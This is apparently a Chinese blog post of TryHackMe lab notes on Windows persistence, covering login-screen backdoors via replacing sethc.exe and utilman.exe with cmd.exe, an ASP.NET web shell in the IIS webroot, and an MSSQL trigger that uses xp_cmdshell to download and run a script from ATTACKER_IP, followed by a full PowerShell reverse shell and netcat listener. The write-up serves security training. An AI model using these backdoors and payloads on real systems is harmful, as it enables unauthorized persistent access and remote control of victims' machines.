    THM flag使用您新获得的 shell,执行 C:\flags\flag13.exe 以获取旗帜!

    image-20250414221727274

    后门登录屏幕 / RDP

    如果我们有权访问该机器(或我们情况下的 RDP),您可以通过后门登录屏幕访问终端,而无需为机器提供有效凭证。

    我们将探讨两种依赖于可访问性功能的方法。

    粘滞键

    当按下像 CTRL + ALT + DEL 这样的键组合时,您可以配置 Windows 使用粘滞键,这允许您按顺序按下组合键的按钮,而不是同时按下。从这个意义上说,如果粘滞键处于激活状态,您可以按下并释放 CTRL ,然后按下并释放 ALT ,最后按下并释放 DEL ,以达到按下 CTRL + ALT + DEL 组合键相同的效果。

    要使用粘滞键建立持久性,我们将利用任何 Windows 安装中默认启用的快捷键,通过按下 SHIFT 5 次来激活粘滞键。输入快捷键后,我们通常会被展示如下屏幕:

    sticky keys

    按下 SHIFT 5 次后,Windows 将在 C:\Windows\System32\sethc.exe 中执行二进制文件。如果我们能够替换为我们偏好的有效载荷的二进制文件,我们就可以通过快捷键触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。

    一种简单的方法是将登录屏幕后门化,包括用 cmd.exe 的副本替换 sethc.exe 。这样,我们就可以使用粘滞键快捷键从登录屏幕启动控制台。

    要覆盖 sethc.exe ,我们首先需要获取文件的所有权并授予当前用户修改权限。只有在这种情况下,我们才能用 cmd.exe 的副本来替换它。我们可以使用以下命令来完成:

    C:\> takeown /f c:\Windows\System32\sethc.exe
    
    SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".
    
    C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
    processed file: C:\Windows\System32\sethc.exe
    Successfully processed 1 files; Failed processing 0 files
    
    C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
    Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
            1 file(s) copied.
    

    执行此操作后,从开始菜单锁定您的会话:

    lock session

    您现在应该能够按五次 SHIFT 来直接从登录屏幕访问具有系统权限的终端:

    sethc backdoor

    THM flag从您新获得的终端中,执行 C:\flags\flag14.exe 获取您的旗帜!

    Utilman

    Utilman 是一个内置的 Windows 应用程序,用于在锁屏时提供无障碍访问选项:

    utilman

    当我们点击登录屏幕上的“轻松访问”按钮时,它以 SYSTEM 权限执行 C:\Windows\System32\Utilman.exe 。如果我们用 cmd.exe 的副本替换它,我们又可以绕过登录屏幕。

    要替换 utilman.exe ,我们执行与 sethc.exe 相同的过程:

    C:\> takeown /f c:\Windows\System32\utilman.exe
    
    SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".
    
    C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
    processed file: C:\Windows\System32\utilman.exe
    Successfully processed 1 files; Failed processing 0 files
    
    C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
    Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
            1 file(s) copied.
    

    要触发我们的终端,我们将从开始按钮锁定屏幕:

    lock session

    最后,点击“辅助功能”按钮。由于我们将 utilman.exe 替换为 cmd.exe 复制,我们将获得具有系统权限的命令提示符:

    backdoored utilman

    THM flag从您新获得的终端中,执行 C:\flags\flag15.exe 获取您的旗帜!

    image-20250414221816613

    通过现有服务持久化

    如果您不想使用 Windows 功能来隐藏后门,您始终可以利用任何可以为您运行代码的现有服务。这项任务将探讨如何在典型的 Web 服务器设置中植入后门。然而,任何您对执行内容有一定控制权的应用程序都应该以类似方式可植入后门。可能性是无限的!

    使用 Web 壳

    在 Web 服务器中实现持久性的常用方法是上传 Web Shell 到 Web 目录。这很简单,将赋予我们使用 IIS 配置用户的权限进行访问,默认情况下是 iis apppool\defaultapppool 。即使这是一个无权限的用户,它也有特殊的 SeImpersonatePrivilege ,提供了一种使用各种已知漏洞轻松提升到管理员权限的方法。有关如何滥用此权限的更多信息,请参阅 Windows Privesc Room。

    让我们先下载一个 ASP.NET Web Shell。这里提供了一个现成的 Web Shell,但您也可以使用您喜欢的任何 Web Shell。将其传输到受害机器,并将其移动到 webroot,默认情况下位于 C:\inetpub\wwwroot 目录中:

    C:\> move shell.aspx C:\inetpub\wwwroot\
    

    注意:根据您创建/传输 shell.aspx 的方式,文件中的权限可能不允许网络服务器访问它。如果您在访问壳的 URL 时遇到权限拒绝错误,只需授予文件上的所有人完全权限即可使其工作。您可以使用 icacls shell.aspx /grant Everyone:F 来这样做。

    然后我们可以通过指向以下 URL 来从网络服务器运行命令:

    http://MACHINE_IP/shell.aspx
    

    web shell

    THM flag使用您的 Web Shell 执行 C:\flags\flag16.exe 以获取您的标志!

    虽然 Webshell 提供了一种简单的方法在系统上留下后门,但蓝队通常会检查 Web 目录的文件完整性。对其中任何文件的更改可能会触发警报。

    使用 MSSQL 作为后门

    有几种方法可以在 MSSQL 服务器安装中植入后门。目前,我们将探讨其中一种利用触发器的方法。简单来说,MSSQL 中的触发器允许您将操作绑定到数据库中特定事件发生时执行。这些事件可以从用户登录到数据被插入、更新或从特定表中删除的范围。对于这个任务,我们将为 HRDB 数据库中的任何 INSERT 操作创建一个触发器。

    在创建触发器之前,我们首先需要在数据库上重新配置一些设置。首先,我们需要启用 xp_cmdshell 存储过程。 xp_cmdshell 是一个在任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统控制台中运行命令,但默认情况下是禁用的。

    要启用它,让我们打开从开始菜单可用的 Microsoft SQL Server Management Studio 18 。当要求进行身份验证时,只需使用 Windows 身份验证(默认值),您将使用当前 Windows 用户的凭据登录。默认情况下,本地管理员帐户将有权访问所有数据库。

    一旦登录,点击“新建查询”按钮以打开查询编辑器:

    New SQL query

    运行以下 SQL 语句以在 MSSQL 配置中启用“高级选项”,然后继续启用 xp_cmdshell

    sp_configure 'Show Advanced Options',1;
    RECONFIGURE;
    GO
    
    sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    GO
    

    在此之后,我们必须确保任何访问数据库的网站都能运行 xp_cmdshell 。默认情况下,只有具有 sysadmin 角色的数据库用户才能这样做。由于预期网络应用程序使用受限的数据库用户,我们可以授予所有用户以模拟 sa 用户(默认数据库管理员)的权限:

    USE master
    
    GRANT IMPERSONATE ON LOGIN::sa to [Public];
    

    完成所有这些之后,我们最终配置一个触发器。我们首先切换到 HRDB 数据库:

    USE HRDB
    

    "我们的触发器将利用 xp_cmdshell 来执行 Powershell 以从由攻击者控制的网络服务器下载并运行一个 .ps1 文件。触发器将被配置为在将 INSERT 插入到 Employees 表的 HRDB 数据库中时执行:

    CREATE TRIGGER [sql_backdoor]
    ON HRDB.dbo.Employees 
    FOR INSERT AS
    
    EXECUTE AS LOGIN = 'sa'
    EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
    

    现在后门已经设置好了,让我们在我们的攻击者机器上创建 evilscript.ps1 ,它将包含一个 Powershell 反向 shell:

    $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);
    
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..65535|%{0};
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush()
    };
    
    $client.Close()
    

    我们需要打开两个终端来处理这个漏洞中涉及的连接:

    • 触发器将执行第一次连接以下载并执行 evilscript.ps1 。我们的触发器使用端口 8000 进行此操作。
    • 第二次连接将在端口 4454 上建立一个反向 shell,返回到我们的攻击机器。
    user@AttackBox$ python3 -m http.server 
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 
    
    user@AttackBox$ nc -lvp 4454
    Listening on 0.0.0.0 4454
    

    一切准备就绪后,让我们导航到 http://MACHINE_IP/ 并将一个员工插入到网络应用程序中。由于网络应用程序将向数据库发送一个 INSERT 语句,我们的 TRIGGER 将为我们提供访问系统控制台的方法。

    THM flag使用您的 Web Shell 执行 C:\flags\flag17.exe 以获取您的标志!

    image-20250414222015157

    posted @ 2025-04-14 22:25  羽弥YUMI  阅读(169)  评论(0)    收藏  举报